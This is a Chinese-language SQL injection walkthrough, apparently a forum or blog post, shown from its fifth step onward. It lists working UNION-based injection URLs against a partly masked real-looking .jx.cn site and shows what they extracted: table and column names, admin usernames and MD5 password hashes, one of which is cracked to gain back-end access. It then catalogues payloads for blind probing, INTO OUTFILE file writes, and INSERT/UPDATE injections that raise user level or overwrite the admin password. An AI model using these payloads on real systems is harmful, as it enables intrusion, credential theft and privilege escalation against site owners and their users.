MYSQL的版本5.0以上版本,我们借助information_schema数据库,来获取其他数据库的信息。用到了group_concat()函数,distinct参数起到了去掉重复显示的作用。
第五部,根据数据库表进行爆出所有数据库的表名:
http://rsc.XXXx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+table_name),5,6+from+information_schema.tables+where+table_schema=database()--
admin1,answer,check,class,news,system,zhaoping
该页面为news.php 其数据库表肯定就是news表,
第六步,爆出admin1表里字段,再爆出的用户信息,登录后台
把admin1进行hex(16进制)的结果为:0x61646D696E31
爆出所有的字段:
http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+column_name),5,6+from+information_schema.columns+where+table_name=0x61646D696E31--
字段为:id,admin,password,rank
再爆出 admin和password里的值:
http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+id,0x2b,admin,0x2b,password,0x2b,rank),5,6+from+admin1--
1+admin+e10adc3949ba59abbe56e057f20f883e+0,
2+87046609+e10adc3949ba59abbe56e057f20f883e+1,
3+87046607+14a026642666897df2fcdcfe821af855+2,
4+87046608+e10adc3949ba59abbe56e057f20f883e+3,
5+87046605+9511364ffd98d4ac7fa9a4804b0e5669+4,
6+87046610+e10adc3949ba59abbe56e057f20f883e+5,
7+87046606+c11948f135f946ff173ca9b5d88465ca+6
把admin的密码MD5解密下为123456,
就OK 了。
本表查询:
[url=]http://localhost/injection/user.php?username=angel'[/url] and LENGTH(password)='6
[url=]http://localhost/injection/user.php?username=angel'[/url] and LEFT(password,1)='m
Union联合语句:
[url=]http://localhost/injection/show.php?id=1'[/url] union select 1,username,password from user/*
[url=]http://localhost/injection/show.php?id='[/url] union select 1,username,password from user/*
导出文件:
[url=]http://localhost/injection/user.php?username=angel'[/url] into outfile 'c:/file.txt
[url=]http://localhost/injection/user.php?username='[/url] or 1=1 into outfile 'c:/file.txt
[url=]http://localhost/injection/show.php?id='[/url] union select 1,username,password from user into outfile 'c:/user.txt
Insert语句:
Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:[url=]http://4ngel.net'[/url], '3’)#
SQL语句变为:Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');
Update语句:
先理解这句SQL
Update user SET password='MD5($password)', homepage='$homepage' Where id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
[url=]http://4ngel.net'[/url], userlevel='3
之后SQL语句变为
Update user SET password='mypass', homepage='http://4ngel.net', userlevel='3' Where id='$id'
userlevel为用户级别
2:修改password值为
mypass)' Where username='admin'#
之后SQL语句变为
Update user SET password='MD5(mypass)' Where username='admin'#)', homepage='$homepage' Where id='$id'
3:修改id值为
' or username='admin'
之后SQL语句变为
Update user SET password='MD5($password)', homepage='$homepage' Where id='' or username='admin'
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
总结,对于注入最简单也是最容易出错的,对于新手很多数据不加以过滤,对于高级可能就是服务器或逻辑问题了。